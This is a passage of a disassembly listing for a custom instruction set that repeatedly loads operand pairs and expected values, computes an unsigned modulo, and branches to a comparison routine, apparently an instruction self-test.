78e0: 14 30 e1 cc br 10 <compare>,#al
78e4: 00 10 00 41 add r2,1
78e8: 0d 41 29 04 wl16 r8,0x944
78ec: 0d 60 01 03 wh16 r8,0x3
78f0: 10 40 01 08 ld32 r8,r8
78f4: 0d 43 4a 00 wl16 r16,0x1a40
78f8: 0d 60 02 03 wh16 r16,0x3
78fc: 10 40 02 10 ld32 r16,r16
7900: 0d 45 65 3c wl16 r9,0x2b3c
7904: 0d 60 01 23 wh16 r9,0x3
7908: 10 40 01 29 ld32 r9,r9
790c: 00 a0 01 10 umod r8,r16
7910: 20 70 03 e2 movepc rret,8
7914: 14 30 e1 bf br 10 <compare>,#al
7918: 00 10 00 41 add r2,1
791c: 0d 41 29 08 wl16 r8,0x948
7920: 0d 60 01 03 wh16 r8,0x3
7924: 10 40 01 08 ld32 r8,r8
7928: 0d 43 4a 04 wl16 r16,0x1a44
792c: 0d 60 02 03 wh16 r16,0x3
7930: 10 40 02 10 ld32 r16,r16
7934: 0d 45 69 20 wl16 r9,0x2b40
7938: 0d 60 01 23 wh16 r9,0x3
793c: 10 40 01 29 ld32 r9,r9
7940: 00 a0 01 10 umod r8,r16
7944: 20 70 03 e2 movepc rret,8
7948: 14 30 e1 b2 br 10 <compare>,#al
794c: 00 10 00 41 add r2,1
7950: 0d 41 29 0c wl16 r8,0x94c
7954: 0d 60 01 03 wh16 r8,0x3
7958: 10 40 01 08 ld32 r8,r8
795c: 0d 43 4a 08 wl16 r16,0x1a48
7960: 0d 60 02 03 wh16 r16,0x3
7964: 10 40 02 10 ld32 r16,r16
7968: 0d 45 69 24 wl16 r9,0x2b44
796c: 0d 60 01 23 wh16 r9,0x3
7970: 10 40 01 29 ld32 r9,r9
7974: 00 a0 01 10 umod r8,r16
7978: 20 70 03 e2 movepc rret,8
797c: 14 30 e1 a5 br 10 <compare>,#al
7980: 00 10 00 41 add r2,1
7984: 0d 41 29 10 wl16 r8,0x950
7988: 0d 60 01 03 wh16 r8,0x3
798c: 10 40 01 08 ld32 r8,r8
7990: 0d 43 4a 0c wl16 r16,0x1a4c
7994: 0d 60 02 03 wh16 r16,0x3
7998: 10 40 02 10 ld32 r16,r16
799c: 0d 45 69 28 wl16 r9,0x2b48
79a0: 0d 60 01 23 wh16 r9,0x3
79a4: 10 40 01 29 ld32 r9,r9
79a8: 00 a0 01 10 umod r8,r16
79ac: 20 70 03 e2 movepc rret,8
79b0: 14 30 e1 98 br 10 <compare>,#al
79b4: 00 10 00 41 add r2,1
79b8: 0d 41 29 14 wl16 r8,0x954
79bc: 0d 60 01 03 wh16 r8,0x3
79c0: 10 40 01 08 ld32 r8,r8
79c4: 0d 43 4a 10 wl16 r16,0x1a50
79c8: 0d 60 02 03 wh16 r16,0x3
79cc: 10 40 02 10 ld32 r16,r16
79d0: 0d 45 69 2c wl16 r9,0x2b4c
79d4: 0d 60 01 23 wh16 r9,0x3
79d8: 10 40 01 29 ld32 r9,r9
79dc: 00 a0 01 10 umod r8,r16
79e0: 20 70 03 e2 movepc rret,8
79e4: 14 30 e1 8b br 10 <compare>,#al
79e8: 00 10 00 41 add r2,1
79ec: 0d 41 29 18 wl16 r8,0x958
79f0: 0d 60 01 03 wh16 r8,0x3
79f4: 10 40 01 08 ld32 r8,r8
79f8: 0d 43 4a 14 wl16 r16,0x1a54
79fc: 0d 60 02 03 wh16 r16,0x3
7a00: 10 40 02 10 ld32 r16,r16
7a04: 0d 45 69 30 wl16 r9,0x2b50
7a08: 0d 60 01 23 wh16 r9,0x3
7a0c: 10 40 01 29 ld32 r9,r9
7a10: 00 a0 01 10 umod r8,r16
7a14: 20 70 03 e2 movepc rret,8
7a18: 14 30 e1 7e br 10 <compare>,#al
7a1c: 00 10 00 41 add r2,1
7a20: 0d 41 29 1c wl16 r8,0x95c
7a24: 0d 60 01 03 wh16 r8,0x3
7a28: 10 40 01 08 ld32 r8,r8
7a2c: 0d 43 4a 18 wl16 r16,0x1a58
7a30: 0d 60 02 03 wh16 r16,0x3
7a34: 10 40 02 10 ld32 r16,r16
7a38: 0d 45 69 34 wl16 r9,0x2b54
7a3c: 0d 60 01 23 wh16 r9,0x3
7a40: 10 40 01 29 ld32 r9,r9
7a44: 00 a0 01 10 umod r8,r16
7a48: 20 70 03 e2 movepc rret,8
7a4c: 14 30 e1 71 br 10 <compare>,#al
7a50: 00 10 00 41 add r2,1
7a54: 0d 41 2d 00 wl16 r8,0x960
7a58: 0d 60 01 03 wh16 r8,0x3
7a5c: 10 40 01 08 ld32 r8,r8
7a60: 0d 43 4a 1c wl16 r16,0x1a5c
7a64: 0d 60 02 03 wh16 r16,0x3
7a68: 10 40 02 10 ld32 r16,r16
7a6c: 0d 45 69 38 wl16 r9,0x2b58
7a70: 0d 60 01 23 wh16 r9,0x3
7a74: 10 40 01 29 ld32 r9,r9
7a78: 00 a0 01 10 umod r8,r16
7a7c: 20 70 03 e2 movepc rret,8
7a80: 14 30 e1 64 br 10 <compare>,#al
7a84: 00 10 00 41 add r2,1
7a88: 0d 41 2d 04 wl16 r8,0x964
7a8c: 0d 60 01 03 wh16 r8,0x3
7a90: 10 40 01 08 ld32 r8,r8
7a94: 0d 43 4e 00 wl16 r16,0x1a60
7a98: 0d 60 02 03 wh16 r16,0x3
7a9c: 10 40 02 10 ld32 r16,r16
7aa0: 0d 45 69 3c wl16 r9,0x2b5c
7aa4: 0d 60 01 23 wh16 r9,0x3
7aa8: 10 40 01 29 ld32 r9,r9
7aac: 00 a0 01 10 umod r8,r16
7ab0: 20 70 03 e2 movepc rret,8
7ab4: 14 30 e1 57 br 10 <compare>,#al
7ab8: 00 10 00 41 add r2,1
7abc: 0d 41 2d 08 wl16 r8,0x968
7ac0: 0d 60 01 03 wh16 r8,0x3
7ac4: 10 40 01 08 ld32 r8,r8
7ac8: 0d 43 4e 04 wl16 r16,0x1a64
7acc: 0d 60 02 03 wh16 r16,0x3
7ad0: 10 40 02 10 ld32 r16,r16
7ad4: 0d 45 6d 20 wl16 r9,0x2b60
7ad8: 0d 60 01 23 wh16 r9,0x3
7adc: 10 40 01 29 ld32 r9,r9
7ae0: 00 a0 01 10 umod r8,r16
7ae4: 20 70 03 e2 movepc rret,8
7ae8: 14 30 e1 4a br 10 <compare>,#al
7aec: 00 10 00 41 add r2,1
7af0: 0d 41 2d 0c wl16 r8,0x96c
7af4: 0d 60 01 03 wh16 r8,0x3
7af8: 10 40 01 08 ld32 r8,r8
7afc: 0d 43 4e 08 wl16 r16,0x1a68
7b00: 0d 60 02 03 wh16 r16,0x3
7b04: 10 40 02 10 ld32 r16,r16
7b08: 0d 45 6d 24 wl16 r9,0x2b64
7b0c: 0d 60 01 23 wh16 r9,0x3
7b10: 10 40 01 29 ld32 r9,r9
7b14: 00 a0 01 10 umod r8,r16
7b18: 20 70 03 e2 movepc rret,8
7b1c: 14 30 e1 3d br 10 <compare>,#al
7b20: 00 10 00 41 add r2,1
7b24: 0d 41 2d 10 wl16 r8,0x970
7b28: 0d 60 01 03 wh16 r8,0x3
7b2c: 10 40 01 08 ld32 r8,r8
7b30: 0d 43 4e 0c wl16 r16,0x1a6c
7b34: 0d 60 02 03 wh16 r16,0x3
7b38: 10 40 02 10 ld32 r16,r16
7b3c: 0d 45 6d 28 wl16 r9,0x2b68
7b40: 0d 60 01 23 wh16 r9,0x3
7b44: 10 40 01 29 ld32 r9,r9
7b48: 00 a0 01 10 umod r8,r16
7b4c: 20 70 03 e2 movepc rret,8
7b50: 14 30 e1 30 br 10 <compare>,#al
7b54: 00 10 00 41 add r2,1
7b58: 0d 41 2d 14 wl16 r8,0x974
7b5c: 0d 60 01 03 wh16 r8,0x3
7b60: 10 40 01 08 ld32 r8,r8
7b64: 0d 43 4e 10 wl16 r16,0x1a70
7b68: 0d 60 02 03 wh16 r16,0x3
7b6c: 10 40 02 10 ld32 r16,r16
7b70: 0d 45 6d 2c wl16 r9,0x2b6c
7b74: 0d 60 01 23 wh16 r9,0x3
7b78: 10 40 01 29 ld32 r9,r9
7b7c: 00 a0 01 10 umod r8,r16
7b80: 20 70 03 e2 movepc rret,8
7b84: 14 30 e1 23 br 10 <compare>,#al
7b88: 00 10 00 41 add r2,1
7b8c: 0d 41 2d 18 wl16 r8,0x978
7b90: 0d 60 01 03 wh16 r8,0x3
7b94: 10 40 01 08 ld32 r8,r8
7b98: 0d 43 4e 14 wl16 r16,0x1a74
7b9c: 0d 60 02 03 wh16 r16,0x3
7ba0: 10 40 02 10 ld32 r16,r16
7ba4: 0d 45 6d 30 wl16 r9,0x2b70
7ba8: 0d 60 01 23 wh16 r9,0x3
7bac: 10 40 01 29 ld32 r9,r9
7bb0: 00 a0 01 10 umod r8,r16
7bb4: 20 70 03 e2 movepc rret,8
7bb8: 14 30 e1 16 br 10 <compare>,#al
7bbc: 00 10 00 41 add r2,1
7bc0: 0d 41 2d 1c wl16 r8,0x97c
7bc4: 0d 60 01 03 wh16 r8,0x3
7bc8: 10 40 01 08 ld32 r8,r8
7bcc: 0d 43 4e 18 wl16 r16,0x1a78
7bd0: 0d 60 02 03 wh16 r16,0x3
7bd4: 10 40 02 10 ld32 r16,r16
7bd8: 0d 45 6d 34 wl16 r9,0x2b74
7bdc: 0d 60 01 23 wh16 r9,0x3
7be0: 10 40 01 29 ld32 r9,r9
7be4: 00 a0 01 10 umod r8,r16
7be8: 20 70 03 e2 movepc rret,8
7bec: 14 30 e1 09 br 10 <compare>,#al
7bf0: 00 10 00 41 add r2,1
7bf4: 0d 41 31 00 wl16 r8,0x980
7bf8: 0d 60 01 03 wh16 r8,0x3
7bfc: 10 40 01 08 ld32 r8,r8
7c00: 0d 43 4e 1c wl16 r16,0x1a7c
7c04: 0d 60 02 03 wh16 r16,0x3
7c08: 10 40 02 10 ld32 r16,r16
7c0c: 0d 45 6d 38 wl16 r9,0x2b78
7c10: 0d 60 01 23 wh16 r9,0x3
7c14: 10 40 01 29 ld32 r9,r9
7c18: 00 a0 01 10 umod r8,r16
7c1c: 20 70 03 e2 movepc rret,8
7c20: 14 30 e0 fc br 10 <compare>,#al
7c24: 00 10 00 41 add r2,1
7c28: 0d 41 31 04 wl16 r8,0x984
7c2c: 0d 60 01 03 wh16 r8,0x3
7c30: 10 40 01 08 ld32 r8,r8
7c34: 0d 43 52 00 wl16 r16,0x1a80
7c38: 0d 60 02 03 wh16 r16,0x3
7c3c: 10 40 02 10 ld32 r16,r16
7c40: 0d 45 6d 3c wl16 r9,0x2b7c
7c44: 0d 60 01 23 wh16 r9,0x3
7c48: 10 40 01 29 ld32 r9,r9
7c4c: 00 a0 01 10 umod r8,r16
7c50: 20 70 03 e2 movepc rret,8
7c54: 14 30 e0 ef br 10 <compare>,#al
7c58: 00 10 00 41 add r2,1
7c5c: 0d 41 31 08 wl16 r8,0x988
7c60: 0d 60 01 03 wh16 r8,0x3
7c64: 10 40 01 08 ld32 r8,r8
7c68: 0d 43 52 04 wl16 r16,0x1a84
7c6c: 0d 60 02 03 wh16 r16,0x3
7c70: 10 40 02 10 ld32 r16,r16
7c74: 0d 45 71 20 wl16 r9,0x2b80
7c78: 0d 60 01 23 wh16 r9,0x3
7c7c: 10 40 01 29 ld32 r9,r9
7c80: 00 a0 01 10 umod r8,r16
7c84: 20 70 03 e2 movepc rret,8
7c88: 14 30 e0 e2 br 10 <compare>,#al
7c8c: 00 10 00 41 add r2,1
7c90: 0d 41 31 0c wl16 r8,0x98c
7c94: 0d 60 01 03 wh16 r8,0x3
7c98: 10 40 01 08 ld32 r8,r8
7c9c: 0d 43 52 08 wl16 r16,0x1a88
7ca0: 0d 60 02 03 wh16 r16,0x3
7ca4: 10 40 02 10 ld32 r16,r16
7ca8: 0d 45 71 24 wl16 r9,0x2b84
7cac: 0d 60 01 23 wh16 r9,0x3
7cb0: 10 40 01 29 ld32 r9,r9
7cb4: 00 a0 01 10 umod r8,r16
7cb8: 20 70 03 e2 movepc rret,8
7cbc: 14 30 e0 d5 br 10 <compare>,#al
7cc0: 00 10 00 41 add r2,1
7cc4: 0d 41 31 10 wl16 r8,0x990
7cc8: 0d 60 01 03 wh16 r8,0x3
7ccc: 10 40 01 08 ld32 r8,r8
7cd0: 0d 43 52 0c wl16 r16,0x1a8c
7cd4: 0d 60 02 03 wh16 r16,0x3
7cd8: 10 40 02 10 ld32 r16,r16
7cdc: 0d 45 71 28 wl16 r9,0x2b88
7ce0: 0d 60 01 23 wh16 r9,0x3
7ce4: 10 40 01 29 ld32 r9,r9
7ce8: 00 a0 01 10 umod r8,r16
7cec: 20 70 03 e2 movepc rret,8
7cf0: 14 30 e0 c8 br 10 <compare>,#al
7cf4: 00 10 00 41 add r2,1
7cf8: 0d 41 31 14 wl16 r8,0x994
7cfc: 0d 60 01 03 wh16 r8,0x3
7d00: 10 40 01 08 ld32 r8,r8
7d04: 0d 43 52 10 wl16 r16,0x1a90
7d08: 0d 60 02 03 wh16 r16,0x3
7d0c: 10 40 02 10 ld32 r16,r16
7d10: 0d 45 71 2c wl16 r9,0x2b8c
7d14: 0d 60 01 23 wh16 r9,0x3
7d18: 10 40 01 29 ld32 r9,r9
7d1c: 00 a0 01 10 umod r8,r16
7d20: 20 70 03 e2 movepc rret,8
7d24: 14 30 e0 bb br 10 <compare>,#al
7d28: 00 10 00 41 add r2,1
7d2c: 0d 41 31 18 wl16 r8,0x998
7d30: 0d 60 01 03 wh16 r8,0x3
7d34: 10 40 01 08 ld32 r8,r8
7d38: 0d 43 52 14 wl16 r16,0x1a94
7d3c: 0d 60 02 03 wh16 r16,0x3
7d40: 10 40 02 10 ld32 r16,r16
7d44: 0d 45 71 30 wl16 r9,0x2b90
7d48: 0d 60 01 23 wh16 r9,0x3
7d4c: 10 40 01 29 ld32 r9,r9
7d50: 00 a0 01 10 umod r8,r16
7d54: 20 70 03 e2 movepc rret,8
7d58: 14 30 e0 ae br 10 <compare>,#al
7d5c: 00 10 00 41 add r2,1
7d60: 0d 41 31 1c wl16 r8,0x99c
7d64: 0d 60 01 03 wh16 r8,0x3
7d68: 10 40 01 08 ld32 r8,r8
7d6c: 0d 43 52 18 wl16 r16,0x1a98
7d70: 0d 60 02 03 wh16 r16,0x3
7d74: 10 40 02 10 ld32 r16,r16
7d78: 0d 45 71 34 wl16 r9,0x2b94
7d7c: 0d 60 01 23 wh16 r9,0x3
7d80: 10 40 01 29 ld32 r9,r9
7d84: 00 a0 01 10 umod r8,r16
7d88: 20 70 03 e2 movepc rret,8
7d8c: 14 30 e0 a1 br 10 <compare>,#al
7d90: 00 10 00 41 add r2,1
7d94: 0d 41 35 00 wl16 r8,0x9a0
7d98: 0d 60 01 03 wh16 r8,0x3
7d9c: 10 40 01 08 ld32 r8,r8
7da0: 0d 43 52 1c wl16 r16,0x1a9c
7da4: 0d 60 02 03 wh16 r16,0x3
7da8: 10 40 02 10 ld32 r16,r16
7dac: 0d 45 71 38 wl16 r9,0x2b98
7db0: 0d 60 01 23 wh16 r9,0x3
7db4: 10 40 01 29 ld32 r9,r9
7db8: 00 a0 01 10 umod r8,r16
7dbc: 20 70 03 e2 movepc rret,8
7dc0: 14 30 e0 94 br 10 <compare>,#al
7dc4: 00 10 00 41 add r2,1
7dc8: 0d 41 35 04 wl16 r8,0x9a4
7dcc: 0d 60 01 03 wh16 r8,0x3
7dd0: 10 40 01 08 ld32 r8,r8
7dd4: 0d 43 56 00 wl16 r16,0x1aa0
7dd8: 0d 60 02 03 wh16 r16,0x3
7ddc: 10 40 02 10 ld32 r16,r16
7de0: 0d 45 71 3c wl16 r9,0x2b9c
7de4: 0d 60 01 23 wh16 r9,0x3
7de8: 10 40 01 29 ld32 r9,r9
7dec: 00 a0 01 10 umod r8,r16
7df0: 20 70 03 e2 movepc rret,8
7df4: 14 30 e0 87 br 10 <compare>,#al
7df8: 00 10 00 41 add r2,1
7dfc: 0d 41 35 08 wl16 r8,0x9a8
7e00: 0d 60 01 03 wh16 r8,0x3
7e04: 10 40 01 08 ld32 r8,r8
7e08: 0d 43 56 04 wl16 r16,0x1aa4
7e0c: 0d 60 02 03 wh16 r16,0x3
7e10: 10 40 02 10 ld32 r16,r16
7e14: 0d 45 75 20 wl16 r9,0x2ba0
7e18: 0d 60 01 23 wh16 r9,0x3
7e1c: 10 40 01 29 ld32 r9,r9
7e20: 00 a0 01 10 umod r8,r16
7e24: 20 70 03 e2 movepc rret,8
7e28: 14 30 e0 7a br 10 <compare>,#al
7e2c: 00 10 00 41 add r2,1
7e30: 0d 41 35 0c wl16 r8,0x9ac
7e34: 0d 60 01 03 wh16 r8,0x3
7e38: 10 40 01 08 ld32 r8,r8
7e3c: 0d 43 56 08 wl16 r16,0x1aa8
7e40: 0d 60 02 03 wh16 r16,0x3
7e44: 10 40 02 10 ld32 r16,r16
7e48: 0d 45 75 24 wl16 r9,0x2ba4
7e4c: 0d 60 01 23 wh16 r9,0x3
7e50: 10 40 01 29 ld32 r9,r9
7e54: 00 a0 01 10 umod r8,r16
7e58: 20 70 03 e2 movepc rret,8
7e5c: 14 30 e0 6d br 10 <compare>,#al
7e60: 00 10 00 41 add r2,1
7e64: 0d 41 35 10 wl16 r8,0x9b0
7e68: 0d 60 01 03 wh16 r8,0x3
7e6c: 10 40 01 08 ld32 r8,r8
7e70: 0d 43 56 0c wl16 r16,0x1aac
7e74: 0d 60 02 03 wh16 r16,0x3
7e78: 10 40 02 10 ld32 r16,r16
7e7c: 0d 45 75 28 wl16 r9,0x2ba8
7e80: 0d 60 01 23 wh16 r9,0x3
7e84: 10 40 01 29 ld32 r9,r9
7e88: 00 a0 01 10 umod r8,r16
7e8c: 20 70 03 e2 movepc rret,8
7e90: 14 30 e0 60 br 10 <compare>,#al
7e94: 00 10 00 41 add r2,1
7e98: 0d 41 35 14 wl16 r8,0x9b4
7e9c: 0d 60 01 03 wh16 r8,0x3
7ea0: 10 40 01 08 ld32 r8,r8
7ea4: 0d 43 56 10 wl16 r16,0x1ab0
7ea8: 0d 60 02 03 wh16 r16,0x3
7eac: 10 40 02 10 ld32 r16,r16
7eb0: 0d 45 75 2c wl16 r9,0x2bac
7eb4: 0d 60 01 23 wh16 r9,0x3
7eb8: 10 40 01 29 ld32 r9,r9
7ebc: 00 a0 01 10 umod r8,r16
7ec0: 20 70 03 e2 movepc rret,8
7ec4: 14 30 e0 53 br 10 <compare>,#al
7ec8: 00 10 00 41 add r2,1
7ecc: 0d 41 35 18 wl16 r8,0x9b8
7ed0: 0d 60 01 03 wh16 r8,0x3
7ed4: 10 40 01 08 ld32 r8,r8
7ed8: 0d 43 56 14 wl16 r16,0x1ab4
7edc: 0d 60 02 03 wh16 r16,0x3
7ee0: 10 40 02 10 ld32 r16,r16
7ee4: 0d 45 75 30 wl16 r9,0x2bb0
7ee8: 0d 60 01 23 wh16 r9,0x3
7eec: 10 40 01 29 ld32 r9,r9
7ef0: 00 a0 01 10 umod r8,r16
7ef4: 20 70 03 e2 movepc rret,8
7ef8: 14 30 e0 46 br 10 <compare>,#al
7efc: 00 10 00 41 add r2,1
7f00: 0d 41 35 1c wl16 r8,0x9bc
7f04: 0d 60 01 03 wh16 r8,0x3
7f08: 10 40 01 08 ld32 r8,r8
7f0c: 0d 43 56 18 wl16 r16,0x1ab8
7f10: 0d 60 02 03 wh16 r16,0x3
7f14: 10 40 02 10 ld32 r16,r16
7f18: 0d 45 75 34 wl16 r9,0x2bb4
7f1c: 0d 60 01 23 wh16 r9,0x3
7f20: 10 40 01 29 ld32 r9,r9
7f24: 00 a0 01 10 umod r8,r16
7f28: 20 70 03 e2 movepc rret,8
7f2c: 14 30 e0 39 br 10 <compare>,#al
7f30: 00 10 00 41 add r2,1
7f34: 0d 41 39 00 wl16 r8,0x9c0
7f38: 0d 60 01 03 wh16 r8,0x3
7f3c: 10 40 01 08 ld32 r8,r8
7f40: 0d 43 56 1c wl16 r16,0x1abc
7f44: 0d 60 02 03 wh16 r16,0x3
7f48: 10 40 02 10 ld32 r16,r16
7f4c: 0d 45 75 38 wl16 r9,0x2bb8
7f50: 0d 60 01 23 wh16 r9,0x3
7f54: 10 40 01 29 ld32 r9,r9
7f58: 00 a0 01 10 umod r8,r16
7f5c: 20 70 03 e2 movepc rret,8
7f60: 14 30 e0 2c br 10 <compare>,#al
7f64: 00 10 00 41 add r2,1
7f68: 0d 41 39 04 wl16 r8,0x9c4
7f6c: 0d 60 01 03 wh16 r8,0x3
7f70: 10 40 01 08 ld32 r8,r8
7f74: 0d 43 5a 00 wl16 r16,0x1ac0
7f78: 0d 60 02 03 wh16 r16,0x3
7f7c: 10 40 02 10 ld32 r16,r16
7f80: 0d 45 75 3c wl16 r9,0x2bbc
7f84: 0d 60 01 23 wh16 r9,0x3
7f88: 10 40 01 29 ld32 r9,r9
7f8c: 00 a0 01 10 umod r8,r16
7f90: 20 70 03 e2 movepc rret,8
7f94: 14 30 e0 1f br 10 <compare>,#al
7f98: 00 10 00 41 add r2,1
7f9c: 0d 41 39 08 wl16 r8,0x9c8
7fa0: 0d 60 01 03 wh16 r8,0x3
7fa4: 10 40 01 08 ld32 r8,r8
7fa8: 0d 43 5a 04 wl16 r16,0x1ac4
7fac: 0d 60 02 03 wh16 r16,0x3
7fb0: 10 40 02 10 ld32 r16,r16
7fb4: 0d 45 79 20 wl16 r9,0x2bc0
7fb8: 0d 60 01 23 wh16 r9,0x3
7fbc: 10 40 01 29 ld32 r9,r9
7fc0: 00 a0 01 10 umod r8,r16
7fc4: 20 70 03 e2 movepc rret,8
7fc8: 14 30 e0 12 br 10 <compare>,#al
7fcc: 00 10 00 41 add r2,1
7fd0: 0d 41 39 0c wl16 r8,0x9cc
7fd4: 0d 60 01 03 wh16 r8,0x3
7fd8: 10 40 01 08 ld32 r8,r8
7fdc: 0d 43 5a 08 wl16 r16,0x1ac8
7fe0: 0d 60 02 03 wh16 r16,0x3
7fe4: 10 40 02 10 ld32 r16,r16
7fe8: 0d 45 79 24 wl16 r9,0x2bc4
7fec: 0d 60 01 23 wh16 r9,0x3
7ff0: 10 40 01 29 ld32 r9,r9
7ff4: 00 a0 01 10 umod r8,r16
7ff8: 20 70 03 e2 movepc rret,8
7ffc: 14 30 e0 05 br 10 <compare>,#al
8000: 00 10 00 41 add r2,1
8004: 0d 41 39 10 wl16 r8,0x9d0
8008: 0d 60 01 03 wh16 r8,0x3
800c: 10 40 01 08 ld32 r8,r8
8010: 0d 43 5a 0c wl16 r16,0x1acc
8014: 0d 60 02 03 wh16 r16,0x3
8018: 10 40 02 10 ld32 r16,r16
801c: 0d 45 79 28 wl16 r9,0x2bc8
8020: 0d 60 01 23 wh16 r9,0x3
8024: 10 40 01 29 ld32 r9,r9
8028: 00 a0 01 10 umod r8,r16
802c: 20 70 03 e2 movepc rret,8
8030: 14 30 df f8 br 10 <compare>,#al
8034: 00 10 00 41 add r2,1
8038: 0d 41 39 14 wl16 r8,0x9d4
803c: 0d 60 01 03 wh16 r8,0x3
8040: 10 40 01 08 ld32 r8,r8
8044: 0d 43 5a 10 wl16 r16,0x1ad0
8048: 0d 60 02 03 wh16 r16,0x3
804c: 10 40 02 10 ld32 r16,r16
8050: 0d 45 79 2c wl16 r9,0x2bcc
8054: 0d 60 01 23 wh16 r9,0x3
8058: 10 40 01 29 ld32 r9,r9
805c: 00 a0 01 10 umod r8,r16
8060: 20 70 03 e2 movepc rret,8
8064: 14 30 df eb br 10 <compare>,#al
8068: 00 10 00 41 add r2,1
806c: 0d 41 39 18 wl16 r8,0x9d8
8070: 0d 60 01 03 wh16 r8,0x3
8074: 10 40 01 08 ld32 r8,r8
8078: 0d 43 5a 14 wl16 r16,0x1ad4
807c: 0d 60 02 03 wh16 r16,0x3
8080: 10 40 02 10 ld32 r16,r16
8084: 0d 45 79 30 wl16 r9,0x2bd0
8088: 0d 60 01 23 wh16 r9,0x3
808c: 10 40 01 29 ld32 r9,r9
8090: 00 a0 01 10 umod r8,r16
8094: 20 70 03 e2 movepc rret,8
8098: 14 30 df de br 10 <compare>,#al
809c: 00 10 00 41 add r2,1
80a0: 0d 41 39 1c wl16 r8,0x9dc
80a4: 0d 60 01 03 wh16 r8,0x3
80a8: 10 40 01 08 ld32 r8,r8
80ac: 0d 43 5a 18 wl16 r16,0x1ad8
80b0: 0d 60 02 03 wh16 r16,0x3
80b4: 10 40 02 10 ld32 r16,r16
80b8: 0d 45 79 34 wl16 r9,0x2bd4
80bc: 0d 60 01 23 wh16 r9,0x3
80c0: 10 40 01 29 ld32 r9,r9
80c4: 00 a0 01 10 umod r8,r16
80c8: 20 70 03 e2 movepc rret,8
80cc: 14 30 df d1 br 10 <compare>,#al
80d0: 00 10 00 41 add r2,1
80d4: 0d 41 3d 00 wl16 r8,0x9e0
80d8: 0d 60 01 03 wh16 r8,0x3
80dc: 10 40 01 08 ld32 r8,r8
80e0: 0d 43 5a 1c wl16 r16,0x1adc
80e4: 0d 60 02 03 wh16 r16,0x3
80e8: 10 40 02 10 ld32 r16,r16
80ec: 0d 45 79 38 wl16 r9,0x2bd8
80f0: 0d 60 01 23 wh16 r9,0x3
80f4: 10 40 01 29 ld32 r9,r9
80f8: 00 a0 01 10 umod r8,r16
80fc: 20 70 03 e2 movepc rret,8
8100: 14 30 df c4 br 10 <compare>,#al
8104: 00 10 00 41 add r2,1
8108: 0d 41 3d 04 wl16 r8,0x9e4
810c: 0d 60 01 03 wh16 r8,0x3
8110: 10 40 01 08 ld32 r8,r8
8114: 0d 43 5e 00 wl16 r16,0x1ae0
8118: 0d 60 02 03 wh16 r16,0x3
811c: 10 40 02 10 ld32 r16,r16
8120: 0d 45 79 3c wl16 r9,0x2bdc
8124: 0d 60 01 23 wh16 r9,0x3
8128: 10 40 01 29 ld32 r9,r9
812c: 00 a0 01 10 umod r8,r16
8130: 20 70 03 e2 movepc rret,8
8134: 14 30 df b7 br 10 <compare>,#al
8138: 00 10 00 41 add r2,1
813c: 0d 41 3d 08 wl16 r8,0x9e8
8140: 0d 60 01 03 wh16 r8,0x3
8144: 10 40 01 08 ld32 r8,r8
8148: 0d 43 5e 04 wl16 r16,0x1ae4
814c: 0d 60 02 03 wh16 r16,0x3
8150: 10 40 02 10 ld32 r16,r16
8154: 0d 45 7d 20 wl16 r9,0x2be0
8158: 0d 60 01 23 wh16 r9,0x3
815c: 10 40 01 29 ld32 r9,r9
8160: 00 a0 01 10 umod r8,r16
8164: 20 70 03 e2 movepc rret,8
8168: 14 30 df aa br 10 <compare>,#al
816c: 00 10 00 41 add r2,1
8170: 0d 41 3d 0c wl16 r8,0x9ec
8174: 0d 60 01 03 wh16 r8,0x3
8178: 10 40 01 08 ld32 r8,r8
817c: 0d 43 5e 08 wl16 r16,0x1ae8
8180: 0d 60 02 03 wh16 r16,0x3
8184: 10 40 02 10 ld32 r16,r16
8188: 0d 45 7d 24 wl16 r9,0x2be4
818c: 0d 60 01 23 wh16 r9,0x3
8190: 10 40 01 29 ld32 r9,r9
8194: 00 a0 01 10 umod r8,r16
8198: 20 70 03 e2 movepc rret,8
819c: 14 30 df 9d br 10 <compare>,#al
81a0: 00 10 00 41 add r2,1
81a4: 0d 41 3d 10 wl16 r8,0x9f0
81a8: 0d 60 01 03 wh16 r8,0x3
81ac: 10 40 01 08 ld32 r8,r8
81b0: 0d 43 5e 0c wl16 r16,0x1aec
81b4: 0d 60 02 03 wh16 r16,0x3
81b8: 10 40 02 10 ld32 r16,r16
81bc: 0d 45 7d 28 wl16 r9,0x2be8
81c0: 0d 60 01 23 wh16 r9,0x3
81c4: 10 40 01 29 ld32 r9,r9
81c8: 00 a0 01 10 umod r8,r16
81cc: 20 70 03 e2 movepc rret,8
81d0: 14 30 df 90 br 10 <compare>,#al
81d4: 00 10 00 41 add r2,1
81d8: 0d 41 3d 14 wl16 r8,0x9f4
81dc: 0d 60 01 03 wh16 r8,0x3
81e0: 10 40 01 08 ld32 r8,r8
81e4: 0d 43 5e 10 wl16 r16,0x1af0
81e8: 0d 60 02 03 wh16 r16,0x3
81ec: 10 40 02 10 ld32 r16,r16
81f0: 0d 45 7d 2c wl16 r9,0x2bec
81f4: 0d 60 01 23 wh16 r9,0x3
81f8: 10 40 01 29 ld32 r9,r9
81fc: 00 a0 01 10 umod r8,r16
8200: 20 70 03 e2 movepc rret,8
8204: 14 30 df 83 br 10 <compare>,#al
8208: 00 10 00 41 add r2,1
820c: 0d 41 3d 18 wl16 r8,0x9f8
8210: 0d 60 01 03 wh16 r8,0x3
8214: 10 40 01 08 ld32 r8,r8
8218: 0d 43 5e 14 wl16 r16,0x1af4
821c: 0d 60 02 03 wh16 r16,0x3
8220: 10 40 02 10 ld32 r16,r16
8224: 0d 45 7d 30 wl16 r9,0x2bf0
8228: 0d 60 01 23 wh16 r9,0x3
822c: 10 40 01 29 ld32 r9,r9
8230: 00 a0 01 10 umod r8,r16
8234: 20 70 03 e2 movepc rret,8
8238: 14 30 df 76 br 10 <compare>,#al
823c: 00 10 00 41 add r2,1
8240: 0d 41 3d 1c wl16 r8,0x9fc
8244: 0d 60 01 03 wh16 r8,0x3
8248: 10 40 01 08 ld32 r8,r8
824c: 0d 43 5e 18 wl16 r16,0x1af8
8250: 0d 60 02 03 wh16 r16,0x3
8254: 10 40 02 10 ld32 r16,r16
8258: 0d 45 7d 34 wl16 r9,0x2bf4
825c: 0d 60 01 23 wh16 r9,0x3
8260: 10 40 01 29 ld32 r9,r9
8264: 00 a0 01 10 umod r8,r16
8268: 20 70 03 e2 movepc rret,8
826c: 14 30 df 69 br 10 <compare>,#al
8270: 00 10 00 41 add r2,1
8274: 0d 41 41 00 wl16 r8,0xa00
8278: 0d 60 01 03 wh16 r8,0x3
827c: 10 40 01 08 ld32 r8,r8
8280: 0d 43 5e 1c wl16 r16,0x1afc
8284: 0d 60 02 03 wh16 r16,0x3
